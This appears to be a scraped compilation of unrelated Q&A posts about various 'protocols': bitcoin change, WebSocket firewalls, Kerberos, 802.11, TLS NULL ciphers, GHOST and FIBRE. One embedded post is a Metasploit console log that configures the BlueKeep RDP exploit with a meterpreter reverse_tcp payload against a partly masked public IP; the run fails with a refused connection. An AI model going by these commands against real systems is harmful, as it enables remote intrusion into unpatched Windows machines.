protocol – How does change work in a bitcoin transaction?

First, let’s clarify the difference between accounts and addresses.

“Accounts” are used for the convenience of people to track their funds. This is primarily used to track the source of funds. Since this is just for your tracking, you can move Bitcoins from one account to another just by moving a number from one column to another. No transactions are needed. (This is like when you know you owe your son $25 for allowance, and you have $200 budgeted for groceries.)

“Addresses” are used to receive Bitcoins in transactions. The coins are sent to an address. The client associates each address with an account and adds received funds to that account. This is simply done for convenience to allow people to track indirectly which address funds were sent to. But you can have any number of addresses associated with the same account.

Change comes from the way Bitcoins are spent. To spend a certain number of Bitcoins, you must pull in Bitcoins from transaction outputs to accounts you control. Note that in the spending part, it doesn’t matter what address this is or what account that address is associated with. When you spend Bitcoins from a particular account, that just means you debit that account for the amount you send. It doesn’t mean the funds come from addresses associated with that account. Remember, the association between addresses and accounts is for receiving only, not sending. (Like when you spend money on groceries, it’s not like you have specific bills for groceries. You just have an amount budgeted.)

So when you pull in transaction outputs, you form a pile of Bitcoins big enough for the number you are trying to send. Usually, it won’t be exact since you must claim an entire output. So the excess forms the ‘change’.

Since there is no address associated with sending Bitcoins, there is no particular address the change should be sent to. So, to preserve anonymity, the client creates a new one just to receive the change from this transaction. Since this address isn’t really associated with an account and shouldn’t be used to receive any more Bitcoins (because that would senselessly tell people the same recipient got the coins as got this change) the client does not display it.

Because the client manages coins in a particular way, it doesn’t make sense to try to view coins it is managing with any kind of explorer. It’s specifically trying to obscure the fact that all the coins are related. Those kinds of services are intended to monitor recieved funds, not managed funds.

Upgrade to the WebSocket protocol and security

Should we configure the WebSocket protocol in a firewall between a browser and a server?

Can you? It is unclear what specific capabilities your firewall has so it is unknown if you can do any special filtering for the WebSocket protocol at all. If your firewall offers the possibility and there is only WebSocket to expect, then why not restrict it to what you expect.

Or enough to allow only HTTPS between a browser and a server?

Again, nothing is known about your firewall can do in the first place so no recommendations can be done here.

There are some libraries (e.g SockJS) that performs a WebSocket emulation. Is it enough to allow only HTTPS in a firewall between a browser and a server?

SockJS is just HTTP(S). So exactly this should be allowed.

Last, but not least: in all cases we need to protect our application against WebSocket attacks as described in many threads here.

I’m not sure which attacks you refer to since “described in many threads” does not really point out specific attacks. But very likely a generic firewall will not protect against attacks specific to WebSockets.

unsupported protocol ssl.c:1124

eze@kali:~$ sudo msfconsole
(sudo) password for eze:
Sorry, try again.
(sudo) password for eze:

                      ########                  #
                  #################            #
               ######################         #
              #########################      #
            ############################
           ##############################
           ###############################
          ###############################
          ##############################
                          #    ########   #
             ##        ###        ####   ##
                                  ###   ###
                                ####   ###
           ####          ##########   ####
           #######################   ####
             ####################   ####
              ##################  ####
                ############      ##
                   ########        ###
                  #########        #####
                ############      ######
               ########      #########
                 #####       ########
                   ###       #########
                  ######    ############
                 #######################
                 #   #   ###  #   #   ##
                 ########################
                  ##     ##   ##     ##
                        https://metasploit.com


   =( metasploit v5.0.87-dev                          )
  • — –=( 2008 exploits – 1096 auxiliary – 343 post )
  • — –=( 566 payloads – 45 encoders – 10 nops )
  • — –=( 7 evasion )

Metasploit tip: Save the current environment with the save command, future console restarts will use this environment again

msf5 > use exploit/windows/rdp/rdp_bluekeep
msf5 exploit(windows/rdp/rdp_bluekeep) > set RHOST 51.XXX.XX.XXX
RHOST => 51.XXX.XX.XXX
msf5 exploit(windows/rdp/rdp_bluekeep) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/rdp/rdp_bluekeep) > set EXITFUNC thread
EXITFUNC => thread
msf5 exploit(windows/rdp/rdp_bluekeep) > set lhost 192.168.XXX.XXX
lhost => 192.168.XXX.XXX
msf5 exploit(windows/rdp/rdp_bluekeep) > set target 0
target => 0
msf5 exploit(windows/rdp/rdp_bluekeep) > options

Module options (exploit/windows/rdp/rdp_bluekeep):

Name Current Setting Required Description


GROOM chunk yes type of groom
GROOMBASE 18446738026433376256 yes target NPP start/base address (manual)
GROOMCHANNEL RDPSND yes channel to groom (advanced)
GROOMCHANNELCOUNT 1 yes number of channels to groom (advanced)
GROOMSIZE 250 yes size of the groom in MB
GROOMWAITDELTA 65 yes delta wait for grooming (crash avoidance)
GROOMWAITMIN 5 yes minimum to wait after grooming (crash avoidance)
RHOST 51.XXX.XX.XXX yes Target server
RPORT 3389 yes Target server port

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description


EXITFUNC thread yes Exit technique (Accepted: ”, seh, thread, process, none)
LHOST 192.168.XXX.XXX yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name


0 win x64

msf5 exploit(windows/rdp/rdp_bluekeep) > run

() Started reverse TCP handler on 192.168.XXX.XXX:4444
(
) 51.XXX.XX.XXX:3389 – Connecting to the target…
(-) 51.XXX.XX.XXX:3389 – (Errno 111) Connection refused
(*) 51.XXX.XX.XXX:3389 – Traceback (most recent call last):
File "/usr/share/metasploit-framework/modules/exploits/windows/rdp/rdp_bluekeep.py", line 911, in exploit
rdp.connect()
File "/usr/share/metasploit-framework/modules/exploits/windows/rdp/rdp_bluekeep.py", line 497, in connect
self._create_socket()
File "/usr/share/metasploit-framework/modules/exploits/windows/rdp/rdp_bluekeep.py", line 551, in _create_socket
self.sock = socket.create_connection((self.host, self.port), self.timeout)
File "/usr/lib/python3.8/socket.py", line 808, in create_connection
raise err
File "/usr/lib/python3.8/socket.py", line 796, in create_connection
sock.connect(sa)
ConnectionRefusedError: (Errno 111) Connection refused

() 51.XXX.XX.XXX:3389 – Exploit completed in 21 seconds.
(-) Exploit aborted due to failure: unknown: Module exited abnormally
(
) Exploit completed, but no session was created.
msf5 exploit(windows/rdp/rdp_bluekeep) >

linux – Is the MIT implementation of Kerberos protocol as vulnerable as the one used by Microsoft?

I am doing some research for school about the Kerberos protocol and its vulnerabilities, especially the Pass the Ticket attack.

Related articles are always talking about Active Directory so I was wondering if the MIT version of Kerberos was as vulnerable as Microsoft’s one ? If not, why ?

Some of these articles were a little dated so maybe some attacks are no longer possible on recent versions of Windows ? Maybe there are newer vulnerabilities (I saw DCShadow attack that seemed quite new) ?

I guess some experts can pass by there and provide a good explanation.

501 Too many syntax or protocol errors – Outlook / Outlook Express

Hello,
I was wondering if you have suffered problems with customers using Outlook for sending emails due to this rule
in CSF firewall that… | Read the rest of https://www.webhostingtalk.com/showthread.php?t=1826236&goto=newpost

computer networks – SSID evaluation within the 802.11 protocol

Inspired by a question on superuser, I was reading up about the 802.11 protocol. This made me wonder if the SSID is actively used outside the authentication and association process. I know that it’s used for beacon frames which will get evaluated after a connection between AP and client has been established. But within beacon frames the SSID value is optional, so it made me think it does not get evaluated.

So my question is, will the SSID usually be evaluated during a connection between AP and client after the authentication and association process? Is this a required within the 802.11 protocol or is this up to the implementation?

I hope computer science is the right site to ask this question since I don’t feel it belongs on Network Engineering because it’s too theoretical.

tls – Is there a protocol for signed but not encrypted HTTP

Your title says signed, but your text only says ‘not modified’ which is quite different.

SSL/TLS before 1.3 has some ‘with-NULL’ ciphersuites that provide NO confidentiality, only authentication and integrity; see e.g. rfc5246 app C and rfc4492 sec 6 or just the registry. These do the usual handshake, authenticating the server identity using a certificate and optionally also the client identity, and deriving session/working keys which are used to HMAC the subsequent data (in both directions, not only from the server) but not to encrypt it. This prevents modification, or replay, but allows anyone on the channel/network to read it.

These ciphersuites are very rarely used, and always (TTBOMK) disabled by default. (In OpenSSL, they not only aren’t included in DEFAULT but not even in the otherwise complete set ALL — to get them you must specify (an) explicit suite(s), the set eNULL aka NULL, or the set COMPLEMENTOFALL, which last grates horribly to any mathematician!) I very much doubt you’ll ever get any browser to use them, and probably not most apps or even many packaged servers. But if you control the apps at both ends of an HTTPS connection — or perhaps proxies for the apps — this does meet your apparent requirement.

TLS 1.3 changes how ciphersuites are used, and no longer has this functionality. As time goes on, 1.3 will become more widespread, and it is likely 1.2 and 1.1 will be dropped in the foreseeable future. (1.0 already has been dropped many places, though not all. SSL3 is badly broken by POODLE, and dropped essentially everywhere.)

9.0 pie – Freennode Weechat Android Protocol error and Failed to connect error

I’m using weechat-android that I installed using f-droid and trying to connect to freenode in order to join an irc server. I am able to connect freenode on my Windows 10 PC using mIRC as expected. Not able to do so on Android.

This is the exact setup I used when I get the protocol error.

enter image description here
enter image description here

This is the exact setup I used when I get the failed to connect error.

enter image description here
enter image description here

bitcoin core – how does GHOST protocol really work?

I think the main thing you’ve missed is the problem GHOST set out to solve.

It’s first and foremost intended as a scalability/speed upgrade. We want to increase the size of each block and/or decrease the interval between blocks. Either of these would increase the ratio between propagation time and block interval.

The higher the ratio is, the more we get that blocks are mined at the same time. And then lots of honest hashrate is wasted on blocks that get orphaned.

This makes it easier for an attacker to attack, because he doesn’t need to have more hashrate than the honest network – he only needs to have more hashrate than the unwasted hashrate of the honest network.

This isn’t much of a problem now, when blocks are 10 minutes apart and are about 3MB. But if we were to try to, say, reduce the interval between blocks to 1 second, the time to propagate blocks will be a multiple of the average time to find a block, leading to huge waste and an easy attack.

GHOST (and the more recent SPECTRE) is designed to allow us to increase block size or speed without this waste.

Contrary to what you said, simply adopting GHOST will not cause less branching in the block tree. It will just mean that we won’t waste hashrate due to this branching.

Re question 3 – I think you’ve got things backwards. The way a double-spending attack works is:

  1. Attacker pays merchant, tx is included in the honest chain.
  2. Merchant gives product.
  3. Attacker releases secret chain, where the tx is replaced by one that credits the attacker.
  4. Attacker has both the product and his money.

If you are not up-to-date on the network state, and think the attacker’s chain is winning even if it’s not, you’re actually better off – you will see that the attacker intends to not pay, and you will know not to send the product.

After I send the product, I want the whole chain to recognize the tx that pays me. Even if there are nodes which are not up to date, and briefly believe the attacker’s chain is valid – that will resolve quickly after they receive the blocks they’ve been missing (and see that the honest chain has more weight).

network – Did the FIBRE protocol reduce the occurrence of chain forks?

Is Fibre protocol deserved for rare temporary forking? If blocks are propagate that fast, there are less chances for temporary fork to happen and even if it do, they are short (small length)? Miner can fast continue to work on (what it seems to him) block head of the chain?

Well the point is that a miner can more quickly switch to a new block that has been found on the network. The time a miner spends on building on top of block A, while a block B has already been found by someone else, is very likely a waste of money and energy.

Note that this is not just in the interest of the miner, but of the entire network: a hypothetical 51% attacker is not subject to these losses, as they only build on top of their own blocks. Thus, faster propagation of blocks on the network means that this advantage 51% attackers have over honest miners is reduced.

Is Fibre protocol deserved why mining difficulty is pretty much the same across the network (I assume it’s the same, otherwise it would be problematic, right)? If difficulty changes after 2016 blocks on average and block propagation is fast, everyone can adjust their mining difficulty pretty easy and there wont be much difference inside the network (most of the nodes will up to date)?

No, difficulty is not a function of time, but of the previous blocks. So regardless of which block a miner is working on, they always know exactly what the difficulty of that block needs to be (as they have the block’s ancestors).

Better block propagation means they can switch to the next block faster, along with the difficulty change that that entails, however.

PS: Note that as of September 2020 the public FIBRE network is no longer operational, and I don’t know if any private deployments exist.